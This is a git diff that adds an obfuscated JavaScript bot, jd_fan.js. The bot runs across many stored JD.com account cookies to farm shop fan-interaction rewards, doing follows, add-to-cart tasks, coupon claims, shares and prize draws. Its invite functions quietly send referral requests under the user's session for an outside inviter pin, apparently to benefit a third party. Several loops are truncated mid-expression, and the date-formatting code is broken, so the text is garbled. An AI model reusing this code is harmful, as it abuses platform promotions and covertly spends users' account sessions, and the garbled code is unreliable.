"m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_fan.js b/jd_fan.js new file mode 100644 index 0000000..d3ab0e9 --- /dev/null +++ b/jd_fan.js @@ -0,0 +1,734 @@ +/* + 粉丝互动 + cron 10 1 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_fan.js + 蚊子腿活动,不定时更新 + 环境变量:RUHUI,是否自动入会,开卡算法已失效,默认不开卡了 + 环境变量:RUNCK,执行多少CK,默认全执行,设置RUNCK=10,则脚本只会运行前10个CK +* */ +const $ = new Env('粉丝互动-加密'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const RUHUI = '888' +const RUNCK = $.isNode() ? (process.env.RUNCK ? process.env.RUNCK : `9999`):`9999`; +let cookiesArr = [],message = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +let activityList = [ + {'id':'a5af3f9c0af6450bbb93fef7d5f98ce','endTime':1656626274000},// + {'id':'cdce9f67e577420084fcf7a749a86241','endTime':1656626274000},// + {'id':'b7ec89d5067f4f86bb77c8c371832280','endTime':1656626274000},// + {'id':'c923f03a1cc144edab77975e6c792436','endTime':1656626274000},// + {'id':'afc7e69486954594987afc57a055c6a9','endTime':1656626274000},// + + +]; +!(async()=>{ + activityList=getRandomArrayElements(activityList,activityList.length); + $.helpFalg=true; + for(let _0x2e674b=0;_0x2e674b{ + $.log('','❌ '+$.name+', 失败! 原因: '+_0xce13bb+'!',''); +}).finally(()=>{ + $.done(); +}); +async function main(_0x3f7ec5){ + _0x3f7ec5.cookiesArr=cookiesArr; + message=''; + _0x3f7ec5.activityId=getUrlData(_0x3f7ec5.thisActivityUrl,'activityId'); + _0x3f7ec5.runFlag=true; + if(_0x3f7ec5.helpFalg){ + doInfo(); + }for(let _0x42703b=0;_0x42703b<_0x3f7ec5.cookiesArr.length&&(_0x42703b{}); +} +async function invite2(_0x36e51c,_0x97b630){ + let _0x577470=Date.now(); + let _0x24b1af={ + 'Host':'api.m.jd.com','accept':'application/json, text/plain, */*','content-type':'application/x-www-form-urlencoded','origin':'https://assignment.jd.com','accept-language':'zh-cn','user-agent':$.isNode()?process.env.JS_USER_AGENT?process.env.JS_USER_AGENT:require('./JS_USER_AGENTS').USER_AGENT:$.getdata('JSUA')?$.getdata('JSUA'):'\'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1','referer':'https://assignment.jd.com/?inviterId='+encodeURIComponent(_0x97b630),'Cookie':_0x36e51c + }; + let _0x33c1bd='functionId=TaskInviteService&body={"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":"'+encodeURIComponent(_0x97b630)+'","type":1}}&appid=market-task-h5&uuid=&_t='+_0x577470; + var _0x30d5e1={'url':'https://api.m.jd.com/','headers':_0x24b1af,'body':_0x33c1bd}; + $.post(_0x30d5e1,(_0x36a3f1,_0x5a5a0a,_0x1fe685)=>{}); +} +function invite3(_0x124be8,_0x95cb67){ + let _0x243f31=+new Date(); + let _0x5e0330={'url':'https://api.m.jd.com/?t='+_0x243f31,'body':'functionId=InviteFriendChangeAssertsService&body='+JSON.stringify({'method':'attendInviteActivity','data':{'inviterPin':encodeURIComponent(_0x95cb67),'channel':1,'token':'','frontendInitStatus':''}})+'&referer=-1&eid=eidI9b2981202fsec83iRW1nTsOVzCocWda3YHPN471AY78%2FQBhYbXeWtdg%2F3TCtVTMrE1JjM8Sqt8f2TqF1Z5P%2FRPGlzA1dERP0Z5bLWdq5N5B2VbBO&aid=&client=ios&clientVersion=14.4.2&networkType=wifi&fp=-1&uuid=ab048084b47df24880613326feffdf7eee471488&osVersion=14.4.2&d_brand=iPhone&d_model=iPhone10,2&agent=-1&pageClickKey=-1&platform=3&lang=zh_CN&appid=market-task-h5&_t='+_0x243f31,'headers':{ + 'Host':'api.m.jd.com','Accept':'application/json, text/plain, */*','Content-type':'application/x-www-form-urlencoded','Origin':'https://invite-reward.jd.com','Accept-Language':'zh-CN,zh-Hans;q=0.9','User-Agent':$.isNode()?process.env.JS_USER_AGENT?process.env.JS_USER_AGENT:require('./JS_USER_AGENTS').USER_AGENT:$.getdata('JSUA')?$.getdata('JSUA'):'\'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1','Referer':'https://invite-reward.jd.com/','Accept-Encoding':'gzip, deflate, br','Cookie':_0x124be8 + }}; + $.post(_0x5e0330,(_0x53cb25,_0x3d3420,_0x345c93)=>{}); +} +function invite4(_0x4ce7d3,_0x13691e){ + let _0x67f7ab={'url':'https://api.m.jd.com/','body':'functionId=TaskInviteService&body='+JSON.stringify({'method':'participateInviteTask','data':{'channel':'1','encryptionInviterPin':encodeURIComponent(_0x13691e),'type':1}})+'&appid=market-task-h5&uuid=&_t='+Date.now(),'headers':{ + 'Host':'api.m.jd.com','Accept':'application/json, text/plain, */*','Content-Type':'application/x-www-form-urlencoded','Origin':'https://assignment.jd.com','Accept-Language':'zh-CN,zh-Hans;q=0.9','User-Agent':$.isNode()?process.env.JS_USER_AGENT?process.env.JS_USER_AGENT:require('./JS_USER_AGENTS').USER_AGENT:$.getdata('JSUA')?$.getdata('JSUA'):'\'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1','Referer':'https://assignment.jd.com/','Accept-Encoding':'gzip, deflate, br','Cookie':_0x4ce7d3 + }}; + $.post(_0x67f7ab,(_0x29e91a,_0x5baf9c,_0x467f38)=>{}); +} +async function runMain(_0x40ebb9){ + _0x40ebb9.UA=_0x40ebb9.isNode()?process.env.JD_USER_AGENT?process.env.JD_USER_AGENT:require('./USER_AGENTS').USER_AGENT:_0x40ebb9.getdata('JDUA')?_0x40ebb9.getdata('JDUA'):'jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1',_0x40ebb9.token=''; + _0x40ebb9.LZ_TOKEN_KEY=''; + _0x40ebb9.LZ_TOKEN_VALUE=''; + _0x40ebb9.lz_jdpin_token=''; + _0x40ebb9.pin=''; + _0x40ebb9.nickname=''; + _0x40ebb9.venderId=''; + _0x40ebb9.activityType=''; + _0x40ebb9.attrTouXiang='https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png'; + console.log('活动地址:'+_0x40ebb9.thisActivityUrl); + _0x40ebb9.body='body=%7B%22url%22%3A%22https%3A%2F%2Flzkjdz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&clientVersion=9.2.2&build=89568&client=android&uuid=b4d0d21978ef8579305f30d52065ffedcc573c2d&st=1643784769190&sign=d6ab868c42dcc3d04c2b95b2aea9014c&sv=111'; + _0x40ebb9.token=await getToken(_0x40ebb9); + if(!_0x40ebb9.token){ + console.log('获取token失败'); + return; + } + await getHtml(_0x40ebb9); + if(!_0x40ebb9.LZ_TOKEN_KEY||!_0x40ebb9.LZ_TOKEN_VALUE){ + console.log('初始化失败1'); + return; + } + let _0x4c9e98=await takePostRequest(_0x40ebb9,'customer/getSimpleActInfoVo'); + _0x40ebb9.venderId=_0x4c9e98.data.venderId||''; + _0x40ebb9.activityType=_0x4c9e98.data.activityType||''; + console.log('venderId:'+_0x40ebb9.venderId); + let _0xfab866=await takePostRequest(_0x40ebb9,'customer/getMyPing'); + _0x40ebb9.pin=_0xfab866.data.secretPin; + _0x40ebb9.nickname=_0xfab866.data.nickname; + if(!_0x40ebb9.pin){ + console.log('获取pin失败,该账号可能是黑号'); + return; + } + await takePostRequest(_0x40ebb9,'common/accessLogWithAD'); + let _0x851536=await takePostRequest(_0x40ebb9,'wxActionCommon/getUserInfo'); + let _0x3343be=await takePostRequest(_0x40ebb9,'wxActionCommon/getShopInfoVO'); + let _0x174237=await takePostRequest(_0x40ebb9,'wxCommonInfo/getActMemberInfo'); + if(_0x851536&&_0x851536.data&&_0x851536.data.yunMidImageUrl){ + _0x40ebb9.attrTouXiang=_0x851536.data.yunMidImageUrl; + } + let _0x11a7bd=await takePostRequest(_0x40ebb9,'wxFansInterActionActivity/activityContent'); + _0x40ebb9.activityData=_0x11a7bd.data||{}; + _0x40ebb9.actinfo=_0x40ebb9.activityData.actInfo; + _0x40ebb9.actorInfo=_0x40ebb9.activityData.actorInfo; + _0x40ebb9.nowUseValue=(Number(_0x40ebb9.actorInfo.fansLoveValue)+Number(_0x40ebb9.actorInfo.energyValue)); + if(JSON.stringify(_0x40ebb9.activityData)==='{}'){ + console.log('获取活动信息失败'); + return; + } + let _0x452779=new Date(_0x40ebb9.activityData.actInfo.endTime); + let _0x3b061a=(_0x452779.getFullYear()+'-'+_0x452779.getMonth()<10?('0'+_0x452779.getMonth()+1):(_0x452779.getMonth()+1)+'-'+_0x452779.getDate()<10?'0'+_0x452779.getDate():_0x452779.getDate()); + _0x452779=new Date(_0x40ebb9.activityData.actInfo.startTime); + let _0x29384a=(_0x452779.getFullYear()+'-'+_0x452779.getMonth()<10?'0'+(_0x452779.getMonth()+1):(_0x452779.getMonth()+1))+'-'+((_0x452779.getDate()<10)?('0'+_0x452779.getDate()):_0x452779.getDate()); + console.log(_0x40ebb9.actinfo.actName+','+_0x3343be.data.shopName+',当前积分:'+_0x40ebb9.nowUseValue+',活动时间:'+_0x29384a+'---'+_0x3b061a+','+_0x40ebb9.activityData.actInfo.endTime); + let _0x14474d=[]; + let _0x3fea64=['One','Two','Three']; + for(let _0x377d67=0;_0x377d67<_0x3fea64.length;_0x377d67++){ + let _0xc7c5a0=_0x40ebb9.activityData.actInfo['giftLevel'+_0x3fea64[_0x377d67]]||''; + if(_0xc7c5a0){ + _0xc7c5a0=JSON.parse(_0xc7c5a0); + _0x14474d.push(_0xc7c5a0[0].name); + } + } + console.log('奖品列表:'+_0x14474d.toString()); + if(_0x40ebb9.actorInfo.prizeOneStatus&&_0x40ebb9.actorInfo.prizeTwoStatus&&_0x40ebb9.actorInfo.prizeThreeStatus){ + console.log('已完成抽奖'); + return; + } + if((_0x174237.data.actMemberStatus===1)&&!_0x174237.data.openCard){ + console.log('活动需要入会后才能参与'); + if(Number(RUHUI)===1){ + console.log('去入会'); + await join(_0x40ebb9); + _0x11a7bd=await takePostRequest(_0x40ebb9,'wxFansInterActionActivity/activityContent'); + _0x40ebb9.activityData=_0x11a7bd.data||{}; + await _0x40ebb9.wait(3000); + }else{ + console.log('不执行入会,跳出'); + return; + } + return; + }else if(_0x174237.data.openCard){ + console.log('已入会'); + } + if(_0x40ebb9.activityData.actorInfo&&!_0x40ebb9.activityData.actorInfo.follow){ + console.log('去关注店铺'); + _0x40ebb9.body='activityId='+_0x40ebb9.activityId+'&uuid='+_0x40ebb9.activityData.actorInfo.uuid; + let _0x477c01=await takePostRequest(_0x40ebb9,'wxFansInterActionActivity/followShop',_0x40ebb9.body); + console.log(JSON.stringify(_0x477c01)); + await _0x40ebb9.wait(3000); + } + _0x40ebb9.upFlag=false; + await doTask(_0x40ebb9); + await luckDraw(_0x40ebb9); +} +async function luckDraw(_0x13737e){ + if(_0x13737e.upFlag){ + activityData=await takePostRequest(_0x13737e,'wxFansInterActionActivity/activityContent'); + _0x13737e.activityData=activityData.data||{}; + await _0x13737e.wait(3000); + } + let _0x2b7411=(Number(_0x13737e.activityData.actorInfo.fansLoveValue)+Number(_0x13737e.activityData.actorInfo.energyValue)); + let _0x47ddad=['One','Two','Three']; + let _0x58a1c5={'One':'01','Two':'02','Three':'03'}; + for(let _0x1b895e=0;_0x1b895e<_0x47ddad.length;_0x1b895e++){ + if((_0x2b7411>=_0x13737e.activityData.actConfig['prizeScore'+_0x47ddad[_0x1b895e]])&&_0x13737e.activityData.actorInfo['prize'+_0x47ddad[_0x1b895e]+'Status']===false){ + console.log('\n开始第'+Number(_0x58a1c5[_0x47ddad[_0x1b895e]])+'次抽奖'); + _0x13737e.body='activityId='+_0x13737e.activityId+'&uuid='+_0x13737e.activityData.actorInfo.uuid+'&drawType='+_0x58a1c5[_0x47ddad[_0x1b895e]]; + let _0x55478a=await takePostRequest(_0x13737e,'wxFansInterActionActivity/startDraw',_0x13737e.body); + if(_0x55478a.result&&_0x55478a.count===0){ + let _0x5e600e=_0x55478a.data; + if(!_0x5e600e.drawOk){ + console.log('抽奖获得:空气'); + }else{ + console.log('抽奖获得:'+_0x5e600e.name); + message+=_0x13737e.UserName+',获得:'+(_0x5e600e.name||'未知')+'\n'; + } + }else{ + console.log('抽奖异常'); + } + console.log(JSON.stringify(_0x55478a)); + await _0x13737e.wait(3000); + } + } +} +async function doTask(_0x23c295){ + let _0x90a7c2=0; + if(_0x23c295.activityData.task2BrowGoods){ + if(_0x23c295.activityData.task2BrowGoods.finishedCount!==_0x23c295.activityData.task2BrowGoods.upLimit){ + _0x90a7c2=(Number(_0x23c295.activityData.task2BrowGoods.upLimit)-Number(_0x23c295.activityData.task2BrowGoods.finishedCount)); + console.log('开始做浏览商品任务'); + _0x23c295.upFlag=true; + for(let _0x57ea0c=0;_0x57ea0c<_0x23c295.activityData.task2BrowGoods.taskGoodList.length&&_0x90a7c2>0;_0x57ea0c++){ + _0x23c295.oneGoodInfo=_0x23c295.activityData.task2BrowGoods.taskGoodList[_0x57ea0c]; + if(_0x23c295.oneGoodInfo.finished===false){ + console.log('浏览:'+(_0x23c295.oneGoodInfo.skuName||'')); + _0x23c295.body='activityId='+_0x23c295.activityId+'&uuid='+_0x23c295.activityData.actorInfo.uuid+'&skuId='+_0x23c295.oneGoodInfo.skuId; + let _0x4858b5=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doBrowGoodsTask',_0x23c295.body); + console.log(JSON.stringify(_0x4858b5)); + await _0x23c295.wait(3000); + _0x90a7c2--; + } + } + }else{ + console.log('浏览商品任务已完成'); + } + } + if(_0x23c295.activityData.task3AddCart){ + if(_0x23c295.activityData.task3AddCart.finishedCount!==_0x23c295.activityData.task3AddCart.upLimit){ + _0x90a7c2=(Number(_0x23c295.activityData.task3AddCart.upLimit)-Number(_0x23c295.activityData.task3AddCart.finishedCount)); + console.log('开始做加购商品任务'); + _0x23c295.upFlag=true; + for(let _0x2527f5=0;(_0x2527f5<_0x23c295.activityData.task3AddCart.taskGoodList.length)&&(_0x90a7c2>0);_0x2527f5++){ + _0x23c295.oneGoodInfo=_0x23c295.activityData.task3AddCart.taskGoodList[_0x2527f5]; + if(_0x23c295.oneGoodInfo.finished===false){ + console.log('加购:'+(_0x23c295.oneGoodInfo.skuName||'')); + _0x23c295.body='activityId='+_0x23c295.activityId+'&uuid='+_0x23c295.activityData.actorInfo.uuid+'&skuId='+_0x23c295.oneGoodInfo.skuId; + let _0x4858b5=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doAddGoodsTask',_0x23c295.body); + console.log(JSON.stringify(_0x4858b5)); + await _0x23c295.wait(3000); + _0x90a7c2--; + } + } + }else{ + console.log('加购商品已完成'); + } + } + if(_0x23c295.activityData.task6GetCoupon){ + if(_0x23c295.activityData.task6GetCoupon.finishedCount!==_0x23c295.activityData.task6GetCoupon.upLimit){ + _0x90a7c2=(Number(_0x23c295.activityData.task6GetCoupon.upLimit)-Number(_0x23c295.activityData.task6GetCoupon.finishedCount)); + console.log('开始做领取优惠券'); + _0x23c295.upFlag=true; + for(let _0x48cbc6=0;(_0x48cbc6<_0x23c295.activityData.task6GetCoupon.taskCouponInfoList.length)&&(_0x90a7c2>0);_0x48cbc6++){ + _0x23c295.oneCouponInfo=_0x23c295.activityData.task6GetCoupon.taskCouponInfoList[_0x48cbc6]; + if(_0x23c295.oneCouponInfo.finished===false){ + _0x23c295.body='activityId='+_0x23c295.activityId+'&uuid='+_0x23c295.activityData.actorInfo.uuid+'&couponId='+_0x23c295.oneCouponInfo.couponInfo.couponId; + let _0x4858b5=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doGetCouponTask',_0x23c295.body); + console.log(JSON.stringify(_0x4858b5)); + await _0x23c295.wait(3000); + _0x90a7c2--; + } + } + }else{ + console.log('领取优惠券已完成'); + } + } + _0x23c295.body='activityId='+_0x23c295.activityId+'&uuid='+_0x23c295.activityData.actorInfo.uuid; + if(_0x23c295.activityData.task1Sign&&_0x23c295.activityData.task1Sign.finishedCount===0){ + console.log('执行每日签到'); + let _0x3b44d4=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doSign',_0x23c295.body); + console.log(JSON.stringify(_0x3b44d4)); + await _0x23c295.wait(3000); + _0x23c295.upFlag=true; + }else{ + console.log('已签到'); + }if(_0x23c295.activityData.task4Share){ + if(_0x23c295.activityData.task4Share.finishedCount!==_0x23c295.activityData.task4Share.upLimit){ + _0x90a7c2=Number(_0x23c295.activityData.task4Share.upLimit)-Number(_0x23c295.activityData.task4Share.finishedCount); + console.log('开始做分享任务'); + _0x23c295.upFlag=true; + for(let _0x107268=0;_0x107268<_0x90a7c2;_0x107268++){ + console.log('执行第'+(_0x107268+1)+'次分享'); + let _0x3b44d4=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doShareTask',_0x23c295.body); + console.log(JSON.stringify(_0x3b44d4)); + await _0x23c295.wait(3000); + } + }else{ + console.log('分享任务已完成'); + } + }if(_0x23c295.activityData.task5Remind){ + if(_0x23c295.activityData.task5Remind.finishedCount!==_0x23c295.activityData.task5Remind.upLimit){ + console.log('执行设置活动提醒'); + _0x23c295.upFlag=true; + let _0x204aab=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doRemindTask',_0x23c295.body); + console.log(JSON.stringify(_0x204aab)); + await _0x23c295.wait(3000); + }else{ + console.log('设置活动提醒已完成'); + } + }if(_0x23c295.activityData.task7MeetPlaceVo){ + if(_0x23c295.activityData.task7MeetPlaceVo.finishedCount!==_0x23c295.activityData.task7MeetPlaceVo.upLimit){ + console.log('执行逛会场'); + _0x23c295.upFlag=true; + let _0x84bc88=await takePostRequest(_0x23c295,'wxFansInterActionActivity/doMeetingTask',_0x23c295.body); + console.log(JSON.stringify(_0x84bc88)); + await _0x23c295.wait(3000); + }else{ + console.log('逛会场已完成'); + } + } +} +function getUrlData(_0x3c166f,_0x3dcbe9){ + if(typeof URL!=='undefined'){ + let _0xe4e3a4=new URL(_0x3c166f); + let _0x5ddc8d=_0xe4e3a4.searchParams.get(_0x3dcbe9); + return _0x5ddc8d?_0x5ddc8d:''; + }else{ + const _0x114c48=_0x3c166f.match(/\?.*/)[0].substring(1); + const _0x1baacd=_0x114c48.split('&'); + for(let _0x3113d1=0;_0x3113d1<_0x1baacd.length;_0x3113d1++){ + const _0x414733=_0x1baacd[_0x3113d1].split('='); + if(_0x414733[0]===_0x3dcbe9){ + return _0x1baacd[_0x3113d1].substr(_0x1baacd[_0x3113d1].indexOf('=')+1); + } + } + return''; + } +} +async function getToken(_0x3c9452){ + let _0x575ad2={'url':'https://api.m.jd.com/client.action?functionId=isvObfuscator','body':_0x3c9452.body,'headers':{'Host':'api.m.jd.com','accept':'*/*','user-agent':'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)','accept-language':'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6','content-type':'application/x-www-form-urlencoded','Cookie':_0x3c9452.cookie}}; + return new Promise(_0x177e3a=>{ + _0x3c9452.post(_0x575ad2,async(_0x846899,_0x5ddcd4,_0x58ed45)=>{ + try{ + if(_0x846899){ + console.log(''+JSON.stringify(_0x846899)); + console.log(_0x3c9452.name+' API请求失败,请检查网路重试'); + }else{ + _0x58ed45=JSON.parse(_0x58ed45); + } + }catch(_0x537dc9){ + _0x3c9452.logErr(_0x537dc9,_0x5ddcd4); + } + finally{ + _0x177e3a(_0x58ed45.token||''); + } + }); + }); +} +async function getHtml(_0x4addca){ + let _0x25eb03={'url':_0x4addca.thisActivityUrl,'headers':{'Host':_0x4addca.host,'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Cookie':'IsvToken='+_0x4addca.token+';'+_0x4addca.cookie,'User-Agent':_0x4addca.UA,'Accept-Language':'zh-cn','Accept-Encoding':'gzip, deflate, br','Connection':'keep-alive'}}; + return new Promise(_0x35175a=>{ + _0x4addca.get(_0x25eb03,(_0x53f11b,_0x24beb3,_0x50a1a1)=>{ + try{ + dealCK(_0x4addca,_0x24beb3); + }catch(_0x182b52){ + _0x4addca.logErr(_0x182b52,_0x24beb3); + } + finally{ + _0x35175a(_0x50a1a1); + } + }); + }); +} +function dealCK(_0x1ea343,_0x122b40){ + if(_0x122b40===undefined){ + return; + } + let _0x3d9911=_0x122b40.headers['set-cookie']||_0x122b40.headers['Set-Cookie']||''; + if(_0x3d9911){ + let _0x2fabb2=_0x3d9911.filter(_0x942508=>_0x942508.indexOf('lz_jdpin_token')!==-1)[0]; + if(_0x2fabb2&&(_0x2fabb2.indexOf('lz_jdpin_token=')>-1)){ + _0x1ea343.lz_jdpin_token=_0x2fabb2.split(';')&&(_0x2fabb2.split(';')[0]+';')||''; + } + let _0x23a7e9=_0x3d9911.filter(_0x41bf1f=>_0x41bf1f.indexOf('LZ_TOKEN_KEY')!==-1)[0]; + if(_0x23a7e9&&(_0x23a7e9.indexOf('LZ_TOKEN_KEY=')>-1)){ + let _0x22583b=_0x23a7e9.split(';')&&_0x23a7e9.split(';')[0]||''; + _0x1ea343.LZ_TOKEN_KEY=_0x22583b.replace('LZ_TOKEN_KEY=',''); + } + let _0x381ba3=_0x3d9911.filter(_0x29a259=>_0x29a259.indexOf('LZ_TOKEN_VALUE')!==-1)[0]; + if(_0x381ba3&&_0x381ba3.indexOf('LZ_TOKEN_VALUE=')>-1){ + let _0x1f6cc4=_0x381ba3.split(';')&&_0x381ba3.split(';')[0]||''; + _0x1ea343.LZ_TOKEN_VALUE=_0x1f6cc4.replace('LZ_TOKEN_VALUE=',''); + } + } +} +async function takePostRequest(_0x22084a,_0x4d19d2,_0x4cee5b='activityId='+_0x22084a.activityId+'&pin='+encodeURIComponent(_0x22084a.pin)){ + let _0x3e5e9='https://'+_0x22084a.host+'/'+_0x4d19d2; + switch(_0x4d19d2){ + case 'customer/getSimpleActInfoVo': + case 'dz/common/getSimpleActInfoVo': + case 'wxCommonInfo/initActInfo': + case 'wxCollectionActivity/shopInfo': + case 'wxCollectCard/shopInfo': + case 'wxCollectCard/drawContent': + _0x4cee5b='activityId='+_0x22084a.activityId; + break; + case 'customer/getMyPing': + _0x4cee5b='userId='+_0x22084a.venderId+'&token='+encodeURIComponent(_0x22084a.token)+'&fromType=APP'; + break; + case'common/accessLogWithAD': + case 'common/accessLog': + _0x4cee5b='venderId='+_0x22084a.venderId+'&code='+_0x22084a.activityType+'&pin='+encodeURIComponent(_0x22084a.pin)+'&activityId='+_0x22084a.activityId+'&pageUrl='+encodeURIComponent(_0x22084a.thisActivityUrl)+'&subType=app&adSource=null'; + break; + case 'wxActionCommon/getUserInfo': + _0x4cee5b='pin='+encodeURIComponent(_0x22084a.pin); + break; + case'wxCommonInfo/getActMemberInfo': + _0x4cee5b='venderId='+_0x22084a.venderId+'&activityId='+_0x22084a.activityId+'&pin='+encodeURIComponent(_0x22084a.pin); + break; + case 'wxActionCommon/getShopInfoVO': + _0x4cee5b='userId='+_0x22084a.venderId; + break; + case '2222': + _0x4cee5b='222'; + break; + } + const _0x2993f8={'X-Requested-With':'XMLHttpRequest','Connection':'keep-alive','Accept-Encoding':'gzip, deflate, br','Content-Type':'application/x-www-form-urlencoded','Origin':'https://'+_0x22084a.host,'User-Agent':_0x22084a.UA,'Cookie':_0x22084a.cookie+' LZ_TOKEN_KEY='+_0x22084a.LZ_TOKEN_KEY+'; LZ_TOKEN_VALUE='+_0x22084a.LZ_TOKEN_VALUE+'; AUTH_C_USER='+_0x22084a.pin+'; '+_0x22084a.lz_jdpin_token,'Host':_0x22084a.host,'Referer':_0x22084a.thisActivityUrl,'Accept-Language':'zh-cn','Accept':'application/json'}; + let _0x1e0fb8={'url':_0x3e5e9,'method':'POST','headers':_0x2993f8,'body':_0x4cee5b}; + return new Promise(async _0x4afe88=>{ + _0x22084a.post(_0x1e0fb8,(_0xa06eab,_0x445f4b,_0x1ac3a4)=>{ + try{ + dealCK(_0x22084a,_0x445f4b); + if(_0x1ac3a4){ + _0x1ac3a4=JSON.parse(_0x1ac3a4); + } + }catch(_0x174945){ + console.log(_0x1ac3a4); + _0x22084a.logErr(_0x174945,_0x445f4b); + } + finally{ + _0x4afe88(_0x1ac3a4); + } + }); + }); +} +async function join(_0x20b776){ + _0x20b776.shopactivityId=''; + await _0x20b776.wait(1000); + await getshopactivityId(_0x20b776); + let _0x2c5d06=''; + if(_0x20b776.shopactivityId)_0x2c5d06=',"activityId":'+_0x20b776.shopactivityId; + let _0x317371={'url':'https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"'+_0x20b776.venderId+'","shopId":"'+_0x20b776.venderId+'","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0'+_0x2c5d06+',"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888','headers':{'Content-Type':'text/plain; Charset=UTF-8','Origin':'https://api.m.jd.com','Host':'api.m.jd.com','accept':'*/*','User-Agent':_0x20b776.UA,'content-type':'application/x-www-form-urlencoded','Referer':'https://shopmember.m.jd.com/shopcard/?venderId='+_0x20b776.venderId+'&shopId='+_0x20b776.venderId,'Cookie':_0x20b776.cookie}}; + return new Promise(async _0x373e23=>{ + _0x20b776.get(_0x317371,async(_0x520d30,_0x1d78d3,_0x5a3bf2)=>{ + try{ + _0x5a3bf2=JSON.parse(_0x5a3bf2); + if(_0x5a3bf2.success==true){ + _0x20b776.log(_0x5a3bf2.message); + if(_0x5a3bf2.result&&_0x5a3bf2.result.giftInfo){ + for(let _0x57e5da of _0x5a3bf2.result.giftInfo.giftList){ + console.log('入会获得:'+_0x57e5da.discountString+_0x57e5da.prizeName+_0x57e5da.secondLineDesc); + } + } + }else if(_0x5a3bf2.success==false){ + _0x20b776.log(_0x5a3bf2.message); + } + }catch(_0x470238){ + _0x20b776.logErr(_0x470238,_0x1d78d3); + } + finally{ + _0x373e23(_0x5a3bf2); + } + }); + }); +} +async function getshopactivityId(_0x42e0bc){ + let _0x29a492={'url':'https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22'+_0x42e0bc.venderId+'%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888','headers':{'Content-Type':'text/plain; Charset=UTF-8','Origin':'https://api.m.jd.com','Host':'api.m.jd.com','accept':'*/*','User-Agent':_0x42e0bc.UA,'content-type':'application/x-www-form-urlencoded','Referer':'https://shopmember.m.jd.com/shopcard/?venderId='+_0x42e0bc.venderId+'&shopId='+_0x42e0bc.venderId,'Cookie':_0x42e0bc.cookie}}; + return new Promise(_0x49664a=>{ + _0x42e0bc.get(_0x29a492,async(_0x5b3807,_0x5d61b1,_0x313fb3)=>{ + try{ + _0x313fb3=JSON.parse(_0x313fb3); + if(_0x313fb3.success==true){ + console.log('入会:'+(_0x313fb3.result.shopMemberCardInfo.venderCardName||'')); + 